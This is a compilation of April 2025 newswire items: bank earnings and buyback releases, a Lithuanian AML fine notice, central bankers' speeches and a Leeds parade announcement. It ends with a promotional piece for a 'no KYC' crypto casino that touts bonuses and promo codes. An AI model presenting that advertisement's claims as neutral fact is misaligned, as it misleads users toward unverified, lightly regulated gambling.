(3) Amounts exclude ESOP shares not committed to be released and include common stock equivalents.
(4) Non-interest expense divided by net interest income and non-interest income.
(5) Amounts calculated based on shareholders’ equity and include ESOP shares not committed to be released.
(6) Net interest income divided by non-interest expense.
(7) Yield on interest-earning assets less cost of funds on interest-bearing liabilities.

Contacts:

Nicole Sherman
David Lam
Riverview Bancorp, Inc. 360-693-6650

The MIL Network –

April 30, 2025

MIL-OSI: Riverview Bancorp, Inc. Announces Stock Repurchase Program

Source: GlobeNewswire (MIL-OSI)

VANCOUVER, Wash., April 29, 2025 (GLOBE NEWSWIRE) — Riverview Bancorp, Inc. (Nasdaq GSM: RVSB) (“Riverview” or the “Company”) headquartered in Vancouver, WA, the holding company parent of Riverview Bank, announced that on April 24, 2025, its Board of Directors adopted a stock repurchase program.

Under this repurchase program, the Company may repurchase up to $2.0 million of the Company’s outstanding shares of common stock, in the open market, based on prevailing market prices, or in privately negotiated transactions. Once the repurchase program is effective, the repurchase program will continue until the earlier of the completion of the repurchase or 12 months after the effective date, depending upon market conditions.

“We continue to explore opportunities to enhance shareholder value and we believe capitalizing on this opportunity to repurchase common stock is a prudent way of deploying excess capital,” said Nicole Sherman, President and Chief Executive Officer.

About Riverview
Riverview Bancorp, Inc. (www.riverviewbank.com) is headquartered in Vancouver, Washington – just north of Portland, Oregon, on the I-5 corridor. With assets of $1.51 billion at March 31, 2025, it is the parent company of Riverview Bank, as well as Riverview Trust Company. The Bank offers true community banking services, focusing on providing the highest quality service and financial products to commercial, business and retail clients through 17 branches, including 13 in the Portland-Vancouver area, and 3 lending centers. For the past 11 years, Riverview has been named Best Bank by the readers of The Vancouver Business Journal and The Columbian.

This press release contains statements that the Company believes are “forward-looking statements.” These statements relate to the Company’s financial condition, results of operations, plans, objectives, future performance or business. You should not place undue reliance on these statements, as they are subject to risks and uncertainties. When considering these forward-looking statements, you should keep in mind these risks and uncertainties, as well as any cautionary statements the Company may make including those described in Item 1A (Risk Factors) of the Company’s Form 10-K for the fiscal year ended March 31, 2024. Moreover, you should treat these statements as speaking only as of the date they are made and based only on information then actually known by the Company.

Transmitted on Globe Newswire on April 29, 2025 at 6:00AM PDT.

Contacts:

Nicole Sherman
David Lam
Riverview Bancorp, Inc. 360-693-6650

The MIL Network –

April 30, 2025

MIL-OSI: Administrative Agreement Concluded with the Bank of Lithuania

Source: GlobeNewswire (MIL-OSI)

UAB Urbo Bankas („Bank“), company code 112027077, address: Konstitucijos pr.18B, Vilnius.

The Bank of Lithuania (BL) conducted a targeted scheduled inspection to assess the Bank’s compliance with anti-money laundering and counter-terrorist financing (AML/CTF) prevention requirements. The inspection revealed violations and deficiencies.

The Bank acknowledged the identified violations, submitted a remediation plan, and committed to addressing all legal violations and operational shortcomings identified during the inspection. The Bank also informs that a significant portion of the deficiencies identified by BL have already been remedied, and actions to strengthen AML/CTF prevention procedures are ongoing.

In view of this, the BL accepted the Bank’s proposal to enter into an administrative agreement and imposed the following measures:

A warning was issued for deficiencies in internal control procedures related to the roles and responsibilities of the Bank’s departments, conflict of interest management, and informing management about relevant AML/CTF risks;
A fine of EUR 290,000 was imposed for violations and deficiencies related to determining the purpose and intended nature of business relationships with clients, the nature of clients’ activities, enhanced due diligence, and procedures and measures for monitoring business relationships and transactions.

It is emphasized that the Bank has not identified any cases where the deficiencies noted by BL had an impact on its clients or where the Bank was used for AML/CTF purposes.

More information: Mr. Igor Kovalčuk, Member of the Board, Director of Legal and Compliance Service, Deputy Head of Administration. Phone: + 370 686 34122, email: igor.kovalcuk@urbo.lt

The MIL Network –

April 30, 2025

MIL-OSI: Farmers and Merchants Bancshares, Inc. Reports Earnings of $1.2 Million, or $0.37 per Share, for the Three Months Ended March 31, 2025

Source: GlobeNewswire (MIL-OSI)

HAMPSTEAD, Md., April 29, 2025 (GLOBE NEWSWIRE) — Farmers and Merchants Bancshares, Inc. (the “Company”), the parent company of Farmers and Merchants Bank (the “Bank” and, together with the Company, “we”, “us” and “our”), announced that net income for the quarter ended March 31, 2025 was $1.2 million, or $0.37 per common share (basic and diluted), compared to $1.2 million, or $0.39 per common share (basic and diluted), for the same period in 2024. The Company’s return on average equity during the quarter ended March 31, 2025 was 8.22% compared to 9.40% for the same period in 2024. The Company’s return on average assets during the quarter ended March 31, 2025 was 0.57% compared to 0.61% for the same period in 2024.

Net interest income was $5.5 million for the quarter ended March 31, 2025, an increase of $321 thousand over the $5.2 million reported for the same period in 2024. The increase was due to a 35 basis point increase in the yield on earning assets to 5.03% for the three months ended March 31, 2025 compared to 4.68% for the same period in 2024. Average earning assets increased $10.6 million to $790.6 million as of March 31, 2025. Average loans increased to $593.7 million for the quarter ended March 31, 2025, an increase of $59.1 million over the $534.6 million for the quarter ended March 31, 2024. The combination of higher yields on earning assets plus higher average earning asset balances was the primary reason for the increase. Offsetting the increase in interest income was the higher cost of funds in 2025. The average interest rate paid on interest bearing liabilities was 2.70% for the three months ended March 31, 2025, compared to 2.48% for the same period in 2024. Average interest bearing liabilities increased to $650.0 million, an increase of $23.0 million when compared to the $627.0 million reported as of March 31, 2024.

A provision for credit losses of $30 thousand was recorded for the quarter ended March 31, 2025 compared to no provision for credit loss for the quarter ended March 31, 2024. The Company’s loan portfolio continues to perform at a high level with just four non-accrual loans totaling $2.6 million and two loans more than 30 days delinquent totaling $577 thousand at March 31, 2025.

Noninterest income increased slightly to $514 thousand for the quarter ended March 31, 2025 compared to $504 thousand for the same period in 2024. Mortgage banking income increased $24 thousand, income on bank owned life insurance increased $15 thousand, gains on the sale of investment securities increased $94 thousand, and other fees and commissions increased $37 thousand. The increases were offset by a decrease in service charges of $30 thousand and a decrease in insurance proceeds of $143 thousand due to the non-recurring receipt of insurance proceeds during the first quarter of 2024 in connection with storm damage to the Bank’s office building in Upperco, Maryland.

Noninterest expense was $386 thousand higher for the quarter ended March 31, 2025 when compared to the same period in 2024. This increase was due primarily to a $175 thousand increase in occupancy and furniture and equipment costs, a $101 thousand increase in FDIC premiums, a $33 thousand increase in ATM related costs, and a $96 thousand increase in other expenses. The increase in other expenses was due primarily to legal fees incurred for stockholder matters and additional costs related to the Company’s captive insurance company subsidiary. The Bank’s FDIC assessment expense increased due to higher asset size and higher FDIC assessment rates. The increase in occupancy and furniture and equipment was due primarily to depreciation on the renovations and new equipment for the Bank’s Upperco, Maryland location which was placed in service at the end of the first quarter of 2024 and the Bank’s new Towson, Maryland location that was placed in service during the second quarter of 2024. The increase in ATM related expenses was due to vendor price increases.

Income taxes decreased by $30 thousand during the quarter ended March 31, 2025 when compared to the same period in 2024 due to lower earnings before taxes. The effective tax rate decreased to 21.3% for the quarter ended March 31, 2025 from 22.1% for the same period last year due to an increase in the amount of nontaxable income included in pretax income year over year.

Total assets were $817.6 million at March 31, 2025 compared to $844.6 million at December 31, 2024. Compared to December 31, 2024, total loans, net of the allowance for credit losses, increased $17.1 million to $600.0 million at March 31, 2025. Offsetting the increase in loans was a decrease in cash and cash equivalents of $42.0 million. The decrease was primarily due to the funding of new loans of $17.1 million, a decrease in deposits of $23.2 million, and the repayment of $5.0 million of Federal Home Loan Bank borrowings. Deposits decreased to $735.6 million at March 31, 2025 from $758.8 million at December 31, 2024. The Company’s tangible equity was $51.5 million at March 31, 2025 compared to $49.2 million at December 31, 2024.

The book value of the Company’s common stock increased to $18.44 per share at March 31, 2025 from $17.77 per share at December 31, 2024. Book value per share at March 31, 2025 was inclusive of the $15.6 million unrealized loss, net of income taxes, on the Bank’s available for sale (“AFS”) investment portfolio as a result of higher interest rates. Changes in the market value of the AFS investment portfolio, net of income taxes, are reflected in the Company’s equity, but are not included in the income statement. The AFS investment portfolio is comprised of 72% government agency mortgage backed securities which are fully guaranteed, 22% investment grade non agency mortgage backed securities, less than 1% investment grade corporate and municipal bonds, and 5% subordinated debt of other community banks. There is no indication of credit deterioration in any of the bonds and we intend to hold these investments to maturity, so no actual losses are anticipated. The unrealized loss in the AFS investment portfolio did not impact regulatory capital because the Bank elected many years ago to not include changes in the market value of the AFS investment portfolio in the calculation of regulatory capital regardless of whether they are positive or negative.

Our Federal Home Loan Bank facility, other borrowing lines available, unpledged securities, brokered deposit access, and cash and cash equivalents provided us with access to approximately $337.8 million of liquidity as of March 31, 2025.

Gary A. Harris, President and CEO, commented “Our loan growth remains strong with a $17.1 million increase in net loans over the past quarter. We previously announced the opening of the new Towson Commercial Banking Office. Since its inception in June 2024, the office has produced over $29 million in new commercial loans and $8 million in new relationship deposits through March 31, 2025. We believe that this new office will be instrumental in both loan and deposit growth in 2025. Our asset growth along with the Federal Reserve’s three interest rate decreases over the past seven months have led to positive gains in our net interest margin. Asset quality remains high and our liquidity position remains strong. We continue to believe that Farmers and Merchants is well positioned to grow earnings in 2025.”

About the Company

The Company is a financial holding company and the parent company of the Bank. The Bank was chartered in Maryland in 1919 and has over 100 years of service to the community. The Bank serves the deposit and financing needs of both consumers and businesses in Carroll and Baltimore Counties along the Route 30, Route 795, Route 140, Route 26, and Route 45 corridors. The main office is located in Upperco, Maryland, with seven additional Maryland branches in Owings Mills, Hampstead, Greenmount, Reisterstown, Westminster, Eldersburg, and Towson. Certain broker-dealers make a market in the common stock of Farmers and Merchants Bancshares, Inc., and trades are reported through the OTC Markets Group’s Pink Market under the symbol “FMFG”.

Forward-Looking Statements

The statements contained herein that are not historical facts are forward-looking statements (as defined by the Private Securities Litigation Reform Act of 1995) based on management’s current expectations and beliefs concerning future developments and their potential effects on the Company. Such statements involve inherent risks and uncertainties, many of which are difficult to predict and are generally beyond the control of the Company. There can be no assurance that future developments affecting the Company will be the same as those anticipated by management. These statements are evidenced by terms such as “anticipate,” “estimate,” “should,” “will,” “expect,” “believe,” “intend,” and similar expressions. Although these statements reflect management’s good faith beliefs and projections, they are not guarantees of future performance and they may not prove true. These projections involve risk and uncertainties that could cause actual results to differ materially from those addressed in the forward-looking statements. For a discussion of these risks and uncertainties, see the section of the periodic reports filed by Farmers and Merchants Bancshares, Inc. with the Securities and Exchange Commission entitled “Risk Factors”.


Farmers and Merchants Bancshares, Inc. and Subsidiaries Consolidated Balance Sheets (Unaudited)

Dollars in thousands except per share and share data

	March 31,			December 31,
		2025			2024

Assets

Cash and due from banks	$	21,779		$	63,962
Federal funds sold and other interest-bearing deposits		918			697
Cash and cash equivalents		22,697			64,659
Certificates of deposit in other banks		100			100
Securities available for sale, at fair value		123,780			125,713
Securities held to maturity, at amortized cost less allowance for credit
losses of $62.5 thousand and $35.6 thousand		21,135			20,499
Equity security, at fair value		530			518
Restricted stock, at cost		715			921
Mortgage loans held for sale		240			157
Loans, less allowance for credit losses of $4.3 million and $4.3 million		600,048			582,993
Premises and equipment, net		7,316			7,349
Accrued interest receivable		2,376			2,439
Deferred income taxes, net		7,246			7,606
Other real estate owned, net		1,176			1,176
Bank owned life insurance		15,429			15,324
Goodwill and other intangibles, net		7,024			7,026
Other assets		7,746			8,163
Total assets	$	817,558		$	844,643

Liabilities and Stockholders’ Equity

Deposits
Noninterest-bearing	$	104,379		$	107,197
Interest-bearing		631,219			651,609
Total deposits		735,598			758,806
Securities sold under repurchase agreements		5,482			5,564
Federal Home Loan Bank of Atlanta advances		–			5,000
Long-term debt, net of issuance costs		10,858			11,329
Accrued interest payable		766			1,003
Other liabilities		6,306			6,669
Total liabilities		759,010			788,371
Stockholders’ equity
Common stock, par value $.01 per share,
authorized 5,000,000 shares; issued and outstanding
3,175,347 shares in 2025 and 3,166,653 shares in 2024		32			32
Additional paid-in capital		31,294			31,136
Retained earnings		42,777			41,613
Accumulated other comprehensive loss		(15,555	)		(16,509	)
Total stockholders’ equity		58,548			56,272
Total liabilities and stockholders’ equity	$	817,558		$	844,643


Farmers and Merchants Bancshares, Inc. and Subsidiaries Consolidated Statements of Income (Unaudited)

Dollars in thousands except per share data
	Three Months Ended March 31,
		2025		2024

Interest income
Loans, including fees	$	8,366	$	6,882
Investment securities – taxable		1,051		1,579
Investment securities – tax exempt		156		137
Federal funds sold and other interest earning assets		313		468
Total interest income		9,886		9,066

Interest expense
Deposits		4,249		3,101
Securities sold under repurchase agreements		17		23
Federal Home Loan Bank advances		12		13
Federal Reserve Bank advances		–		622
Long-term debt		113		134
Total interest expense		4,391		3,893
Net interest income		5,495		5,174

Provision for credit losses		30		–

Net interest income after provision for credit losses		5,465		5,174

Noninterest income
Service charges on deposit accounts		165		195
Mortgage banking income		29		5
Bank owned life insurance income		105		90
Fair value adjustment of equity security		9		(4	)
Gain on sale of investment securities		94		–
Gain on insurance proceeds, net		–		143
Other fees and commissions		112		75
Total noninterest income		514		504

Noninterest expense
Salaries		2,207		1,976
Employee benefits		382		606
Occupancy		328		246
Furniture and equipment		335		242
Professional services		173		205
Automated teller machine and debit card expenses		168		135
Federal Deposit Insurance Corporation premiums		199		98
Postage, delivery, and armored carrier		78		82
Advertising		56		48
Other real estate owned expense		5		3
Other		567		471
Total noninterest expense		4,498		4,112

Income before income taxes		1,481		1,566
Income taxes		316		346
Net income	$	1,165	$	1,220

Earnings per common share – basic	$	0.37	$	0.39
Earnings per common share – diluted	$	0.37	$	0.39

Farmers and Merchants Bancshares, Inc.
Selected Consolidated Financial Data
(Unaudited)
Dollars in thousands except per share data

	As of or For the Three Months Ended March 31,
		2025			2024			2023

OPERATING DATA

Interest income	$	9,886		$	9,066		$	7,051.53
Interest expense		4,391			3,892			1,395
Net interest income		5,495			5,174			5,657
Provision for credit losses		30			–			(270	)
Net interest income after provision for credit losses		5,465			5,174			5,927
Noninterest income		514			504			382
Noninterest expense		4,498			4,112			3,757
Income before income taxes		1,481			1,566			2,552
Income taxes		316			346			651
Net income	$	1,165		$	1,220		$	1,901

PER SHARE DATA

Net income (Basic and diluted)	$	0.37		$	0.39		$	0.62
Dividends	$	0.00		$	0.00		$	0.00
Book value	$	18.44		$	17.03		$	16.53

KEY RATIOS

Return on average assets		0.57	%		0.61	%		1.05	%
Return on average equity		8.22	%		9.40	%		15.49	%
Efficiency ratio		75.23	%		72.42	%		59.55	%
Dividend payout ratio		0.00	%		0.00	%		0.00	%
Net yield on interest-earning assets		2.81	%		2.69	%		3.24	%
Tier 1 capital leverage ratio		9.48	%		9.39	%		9.97	%


Farmers and Merchants Bancshares, Inc.
Selected Consolidated Financial Data
(Unaudited)
Dollars in thousands except per share data

	As of or For the Three Months Ended March 31,
		2025			2024			2023

AT PERIOD END

Total assets	$	817,558		$	794,593		$	722,679
Gross loans		604,352			541,398			525,485
Cash and cash equivalents		22,697			25,633			9,566
Securities		145,569			182,325			146,300
Deposits		735,598			655,978			637,309
Borrowings		10,858			71,742			24,625
Stockholders’ equity		58,548			53,077			50,757

SELECTED AVERAGE BALANCES

Total assets	$	816,760		$	799,841		$	723,106
Gross loans		593,653			534,566			525,516
Cash and cash equivalents		26,648			37,224			8,719
Securities		169,215			208,134			169,873
Deposits		634,274			550,010			501,185
Borrowings		4,946			69,551			36,124
Stockholders’ equity		54,127			51,928			49,071

ASSET QUALITY

Nonperforming assets	$	3,789		$	1,898		$	1,898

Nonperforming assets/total assets		0.46	%		0.24	%		0.26	%

Allowance for credit losses/total loans		0.71	%		0.80	%		0.87	%

Contact:	Mr. Gary A. Harris President and Chief Executive Officer (410) 374-1510, ext. 1104

The MIL Network –

April 30, 2025

MIL-OSI Banking: Howard Lee: Opening remarks – Project Cargox expert panel kick-off meeting

Source: Bank for International Settlements

Good morning, distinguished guests and Expert Panel Members.

On behalf of the Hong Kong Monetary Authority (HKMA), I would like to extend a very warm welcome to you all. We are excited to have you join us today to launch Project Cargo^x and share your valuable expertise.

Let me start by thanking you for dedicating your time, insights and energy to this important initiative. Cargo^x unites us with a bold vision: to build a more inclusive and efficient digital ecosystem for trade finance, powered by cargo data insights and our CDI data infrastructure.

This vision is critical in today’s evolving global landscape, where trade conflicts and disrupted supply chains are reshaping established trade patterns. Many businesses, SME traders in particular, stand to benefit immensely from a more digitalised and streamlined trade finance ecosystem as they transform their business model and supply chains.

SMEs’ access to trade finance has long been hindered by different processing pain points. For instance, the heavy reliance on paper-based documents has led to inefficiencies and difficulty in tracking and verifying the transactions. With light balance sheets, many SMEs also struggle to provide the collateral required by banks to secure loans. Furthermore, issues like duplicate financing have heightened the risk of default and fraud.

Through Cargo^x, we aim to address these challenges in a few ways. First, leverage cargo data to streamline trade finance processes for banks; second, develop digital solutions to enhance SMEs’ access to trade finance, in collaboration with key partners such as the Transport and Logistics Bureau and Airport Authority Hong Kong; and third, explore connections between CDI and international data partners to support innovative trade financing use cases.

Trade finance is inherently a complex process. For example, the export of collectible figures from Hong Kong already involves multiple parties, including the importer, freight forwarder, shipping line, port operator, insurance company, banks and customs authorities.

Given the intricate flow of goods, services, trade loans and payments, numerous documents, such as invoices, bills of lading, insurance certificates, letters of credit and customs declarations, are required to facilitate the trade.

To navigate this complexity, it is crucial to leverage industry expertise to gain a holistic understanding of the trade finance landscape, pinpoint areas for improvement, and identify processes for further digitalisation, particularly through cargo data. We are therefore very pleased to establish the Cargo^xExpert Panel, comprising representatives from the trading and trade finance industry.

The Expert Panel will serve as a vital platform for public-private collaboration, fostering dialogue to develop a roadmap and recommendations for a more robust digital trade finance ecosystem. Your insights will be instrumental in driving this transformation.

We look forward to charting the future of digital trade finance together with the Expert Panel members through Cargo^x. Our concerted efforts will help overcome traditional barriers and empower SMEs with faster, and more accessible financial services.

Thank you.

MIL OSI Global Banks –

April 30, 2025

MIL-OSI Banking: Chang Yong Rhee: Navigating political uncertainty while maintaining independence

Source: Bank for International Settlements

Thank you, Mr. Fernandez, for that generous introduction. And good evening to the distinguished guests who joined the dinner tonight, including President Lateef and Mr. Euywhan Kim, Korean Consul General in New York. Your warm welcome means more than I can express.

For over a century, the Foreign Policy Association has been a leader in promoting international collaboration through public dialogue and education. Its role as a nonpartisan forum for intellectual discourse is more important than ever today, as the world experiences a rising political divide, geopolitical tensions, and global fragmentation.

I’m deeply humbled and honored to receive this award from the FPA, and especially feel undeserving when I consider past awardees like Chairman Volcker, President Trichet, Managing Director Georgieva, and many others. Also, sharing this award ceremony with the Secretary-General of the OECD, the Honorable Mathias Cormann, makes it even more special.

On a personal note, this medal holds a very special meaning within my family. When I got married, I made a joke to my wife, saying, “As I’ll devote my whole life to promoting world peace, you need to take care of everything else for our family.” I thank the FPA for vindicating my joke and justifying the many evenings I’ve spent away from my wife and children.

Acknowledging Global and Korean Headwinds

Currently, we are facing heightened uncertainties. Globally, despite some easing of post-pandemic inflation, trade tensions are intensifying and geopolitical risks persist, reshaping supply chains and deepening global fragmentation, or reglobalization. They have triggered the global financial market turbulence and slowed down global growth. My understanding is that the IMF is going to consider lowering its world economic outlook significantly tomorrow.

Korea is not an exception. As an export-driven economy, it is particularly vulnerable to these external headwinds. Tariffs directly reduce our exports. And, given our deep integration with key supply chain partners, our semiconductor production in Vietnam, electronics and automobile manufacturing in Mexico, and battery production in Canada will all likely be significantly affected. At the same time, weak demand from China-which accounts for over 19% of Korea’s exports-is expected to further weigh on our economy.

To make matters worse, current challenges have been especially difficult for Koreans. As you may know, political uncertainty intensified following the former president’s declaration of martial law late last year. After about five months of turbulence, we now hope that the Constitutional Court’s recent upholding of the impeachment, along with the upcoming presidential election in June, will help settle this uncertainty behind us.

Nevertheless, “Every cloud has a silver lining.” These political events also demonstrated the powerful resilience of Korean democracy.

There had been moments of unrest and deep confrontation among citizens with differing political views. However, the situation was resolved peacefully and constitutionally, and now we are advancing toward the presidential election.

Political Polarization and Central Bank Independence

One thing that I learned as a central banker during this period of political turmoil is the importance of central bank independence-but from a different angle.

We usually understand central bank independence to mean freedom from government interference or fiscal dominance. However, navigating through recent political challenges has made it clear to me that independence from politics is much more vital.

This is particularly true in deeply divided political environments such as Korea right now, where the presidency and parliamentary majority are decided by only a narrow margin of the popular vote.

Governments are appointed by an elected power. By this very nature, during times of heightened political tension, any policy decisions and announcements by governments are often filtered through a political lens and struggle to gain broad trust.

In contrast, a central bank, as Paul Tucker describes it, is an “Unelected Power”-more free from political preference and generally perceived as politically neutral. This allowed us to communicate balanced and apolitical assessments of economic conditions, such as the economic impact of political instability, along with policy recommendations when they were most needed.

Independence with Flexibility

Of course, as Paul Tucker rightly points out in his book, central banks must not exploit the privileges that come with their independence.¹ He argues that central banks should strictly confine themselves to a narrow interpretation of their mandate, which includes price stability and political neutrality in general.

I agree with the spirit of that argument. But I also believe that some degree of flexibility is necessary-particularly in unexpected extreme situations, such as the political instability that Korea just experienced or crises like the pandemic.

Let me recall a conversation I had with a central bank governor from emerging Asia when I served as the IMF’s Asia-Pacific Department Director. As many of you know, avoiding fiscal deficit monetization is generally considered one of the non-negotiable mandates of central banks.

However, in 2020, at the height of the COVID-19 crisis, that central bank took the unusual step of purchasing government bonds in the primary market under the spirit of shared burden with the government. As the governor explained to me, it was seen as inevitable to help those suffering from COVID-19, given the unusually large need for fiscal support, the limited financial market depth, and the importance of protecting sovereign credit rating.

Fortunately, the temporary deviation from text book central bank principles turned out to be a happy ending: the country navigated the COVID crisis without damaging its creditworthiness and returned to its pre-pandemic deficit target within two years as planned.

Fundamental concerns about deficit monetization remain valid. However, this case demonstrates how limited, temporary policy flexibility may be necessary depending on the specific nature of economic crisis and the maturity of capital markets.

Likewise, while leading the central bank through recent political turmoil, I often faced situations where my statements could be misinterpreted as political. For example, when both parties held opposing views on fiscal policy during the impeachment process and incoming election, discussing fiscal stimulus risked appearing partisan. Yet as central bank governor, I could not remain silent on its necessity, for two reasons.

First, after the martial law declaration, domestic demand was falling faster than expected. Some degree of fiscal stimulus was needed to alleviate a sharp decline in major market players’ economic forecasts early in the year. Second, a bipartisan fiscal package seemed to be the best tool to send the message to global investors that Korea’s economy operates independently of political divisions and to protect our credit rating.

While my public advocacy for fiscal stimulus created some controversy over political neutrality as expected, I believe that my decisions will stand the test of time. Yes, central bankers must be politically neutral, but as Keynes said of his mentor Marshall, economists need to be “sometimes as near the earth as a politician.”

U.S.-Korea Relationship & Closing

Before I close, I would like to take a moment to highlight the enduring importance of the U.S.-Korea relationship, especially in the presence of many distinguished American leaders here tonight.

Since Korea’s liberation in 1945, the U.S. and Korea have stood together as trusted allies, sharing common values, such as freedom, democracy, peace, and prosperity.

I mentioned the resilience of Korean democracy earlier in my remarks, and indeed, the U.S. has always remained alongside us throughout our democratic journey. At a critical crossroads in history, it helped guide Korea away from communism and toward democracy. Especially for the Bank of Korea, it also provided instrumental support in shaping our legal foundations-most notably, the Bank of Korea Act.

Despite the leadership transition and the complex geo-economic landscape in Korea, I remain confident that the U.S.–Korea relationship will be taken to the next level. I believe the ongoing support of those in this room will be truly invaluable.

Once again, I offer my deepest thanks to the FPA for this honor, and I wish the FPA continued flourishing in the years to come.

Thank you.

MIL OSI Global Banks –

April 30, 2025

MIL-OSI United Kingdom: Going up! Leeds United promotion parade confirmed for Bank Holiday Monday

Source: City of Leeds

Leeds United fans will have the chance to salute the club’s promotion-winning heroes during an open-top bus parade, it can be confirmed today.

Fresh from clinching a return to the Premier League, Daniel Farke and his squad will be riding high once again as they make their way around a loop of Leeds city centre next Monday, May 5.

Large crowds are expected to turn out to show their appreciation for Leeds’s manager and players on a Bank Holiday afternoon that promises to live long in the memory.

The parade will follow a mile-long route that will take in the full length of the Headrow as well as City Square, Boar Lane, New Market Street and parts of Wellington Street and Vicar Lane.

The Whites are scheduled to arrive in the city centre at around 1pm, with the parade set to last between an hour and an hour-and-a-half.

Due to the high number of fans expected to attend, there will be no single focal point for the event. Instead, supporters are being encouraged to line as much of the route as possible and give the team the welcome they deserve.

Farke and his players will be ‘on the mic’ and interacting with fans throughout the parade, meaning everyone – no matter where they are along the route – will get the same special experience and enjoy what is sure to be a city centre-wide carnival atmosphere.

People who cannot make it to the event will be able to follow proceedings via a live stream on the club’s LUTV channel.

The parade has been organised by Leeds City Council in conjunction with the club, and with support from agencies including West Yorkshire Police.

Councillor James Lewis, leader of Leeds City Council, said:

“I’m delighted that we’ve been able to work with Leeds United to give players and fans the chance to celebrate promotion together.

“As a season ticket holder at Elland Road, I know how much this football club means to its supporters and indeed Leeds as a whole.

“The name of Leeds United is already known all around the world, but being in the Premier League raises the profile of the club still further and will also bring wider economic benefits to the city.

“I’m looking forward to seeing fans out enjoying themselves, it should be a wonderful spectacle. By lining the entirety of the route, they’ll be able to secure a great view of the parade and help create a party atmosphere right across the city centre.”

The Lord Mayor of Leeds, Councillor Abigail Marshall Katung, said:

“Winning promotion is a marvellous achievement by Daniel Farke and his players, they really have done the whole of Leeds proud over the course of the season.

“Leeds United’s ups and downs are woven into the fabric of life here and, as the city’s Lord Mayor, it’s my absolute pleasure to see them back where they belong.

“I know the club’s fans have been in party mood since promotion was secured and I’m sure they will relish the opportunity to continue their celebrations at next week’s parade.”

Morrie Eisenberg, chief operating officer at Leeds United, said:

“We are thrilled to be able to celebrate our promotion to the Premier League with a parade across Leeds city centre.

“Sadly, due to restrictions when we were last promoted to the top flight in 2020, it wasn’t possible for a bus parade to take place, so we’re now delighted to be able to celebrate this promotion properly with our supporters.

“On behalf of the club I would like to thank everybody who has helped pull the parade together behind the scenes and at local authority level, I’m sure next Monday will be a great occasion for the whole city.”

A programme of road closures and other traffic restrictions is due to be in place across much of the city centre from 8am to 5pm on Monday. Emergency service access will be maintained throughout this time.

The size of the expected turnout means people coming into the city centre – for the parade or other reasons – are being asked to carefully plan their journeys in advance.

The park and ride sites at Temple Green and Stourton will be operating on the day, with First running inbound buses from there to the city centre between 10am and 1pm and return services between 2.30pm and 5.30pm.

ENDS

MIL OSI United Kingdom –

April 30, 2025

MIL-OSI: Hanmi Releases 2024 Annual Shareholder Letter

Source: GlobeNewswire (MIL-OSI)

LOS ANGELES, April 29, 2025 (GLOBE NEWSWIRE) — Hanmi Financial Corporation (NASDAQ: HAFC, or “Hanmi”), the parent company of Hanmi Bank (the “Bank”), today announced the release of its 2024 annual letter to shareholders entitled “Successfully Navigating a Dynamic Market Environment” authored by President and Chief Executive Office Bonnie Lee. To view the letter please visit Hanmi Financial Corporation (HAFC).

About Hanmi Financial Corporation

Headquartered in Los Angeles, California, Hanmi Financial Corporation owns Hanmi Bank, which serves multi-ethnic communities through its network of 32 full-service branches, five loan production offices and three loan centers in California, Texas, Illinois, Virginia, New Jersey, New York, Colorado, Washington and Georgia. Hanmi Bank specializes in real estate, commercial, SBA and trade finance lending to small and middle market businesses. Additional information is available at www.hanmi.com.

Investor Contacts:
Romolo (Ron) Santarosa
Senior Executive Vice President & Chief Financial Officer
213-427-5636

Lisa Fortuna
Investor Relations
Financial Profiles, Inc.
lfortuna@finprofiles.com
310-622-8251

The MIL Network –

April 30, 2025

MIL-OSI: Best No KYC Casinos: JACKBIT Is Ranked Top No Verification Casino With Exclusive Bonuses

Source: GlobeNewswire (MIL-OSI)

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Whether it be Bitcoin Baccarat, Online roulette, or Bitcoin Blackjack, JACKBIT has everything in store for you. With a wide variety of live casino games, this best no KYC casino ensures that every player, beginner as well as experts, enjoy this platform.

Poker
Poker games, whether it be video poker or table poker, JACKBIT has an extensive collection of these varieties. With instant and fast blockchain-based payments, the poker games can be enjoyed without delays or distractions. Some popularly chosen poker varieties at JACKBIT, the no verification casino, include Caribbean Stud Poker, Teen Patti, Caribbean Poker, Casino Holdem, Jacks or Better, Oasis Poker, and Texas Hold’em Poker 3D.

Exclusive Mini Games
Along with table games, blackjack, baccarat, roulette, and more, JACKBIT also offers a wide range of mini games. Most of these mini-games are fast, funny, and engaging crash games that offer instant results. The popular mini games offered by JACKBIT include Dino, Aero, SpeedX, Chicken, and so on.

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JACKBIT Bonuses And Promotions
Gambling is gaining more and more importance these days. More than just entertainment, casino gambling has become a part of the everyday life of most gamblers. So, most of them search for the best benefits for the deposits they make. One of the leading and renowned no KYC casinos of 2025, JACKBIT has a diverse store of bonuses and promotions, elevating the gaming experience and winning possibilities of every player.

Welcome Casino Bonus

Bonus of 30% Rakeback + 100 Free Spins + No KYC
No wagering 100 free spins for every player who makes a first deposit of $50 or more. This bonus can be activated within 24 hours of the first deposit using a FreeSpin promo code, “WELCOME.”

Other Casino Bonuses
- Tournaments
  Exclusive tournaments like Play Big, Win Bigger, offer tempting prize pools and free spins. These tournaments ensure 1000 free spins daily and an exciting prize pool of $10,000 weekly.

Drops & Wins
This is a Network Promotion by Pragmatic Play. It includes 48 and 7-day tournaments. The expected prize pool of the entire Network Promotion is €24,000,000, and the total expected prize pool of each stage of the Network Promotion is €2,000,000.

JACKBIT Sports Bonuses
- NBA Playoffs
  Place a minimum bet of $10 on the NBA playoffs and earn 10% cashback of a maximum of $100.

Sports Welcome Bonus
This is a 100% no-risk bonus. The minimum stake to qualify for the bonus is $20, and the maximum bonus amount is $100.

3+1 FreeBet
In this bonus, the 4th ticket will be free and offered as a gift. So, to qualify, players have to place 3 bets and will get the 4th bet for free and unlimited.

Other JACKBIT bonuses
- Rakeback VIP Club
  This bonus offers various benefits for VIP club members, including faster accumulation of points, instant rakeback, diverse and special games and sports, and so on.

Social Media Bonuses
Special bonuses and rewards are offered to those who join the socials of JACKBIT.

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Payouts And Transactions At JACKBIT No KYC Casino

JACKBIT ensures that all the transaction needs of its players are addressed without fail. So, this platform provides a multiple-currency system. Whether you are a crypto enthusiast who chooses fast flashing transactions or someone who seeks fiat options, JACKBIT has both options tailored for you.

As JACKBIT accepts 17 cryptocurrencies, most players choose to deposit and withdraw money through this method. Almost all the major cryptocurrencies like Bitcoin, Ethereum, XRP, Litecoin, Bitcoin Cash, Binance, Tether, Solana, Shiba, and others are accepted on this platform.

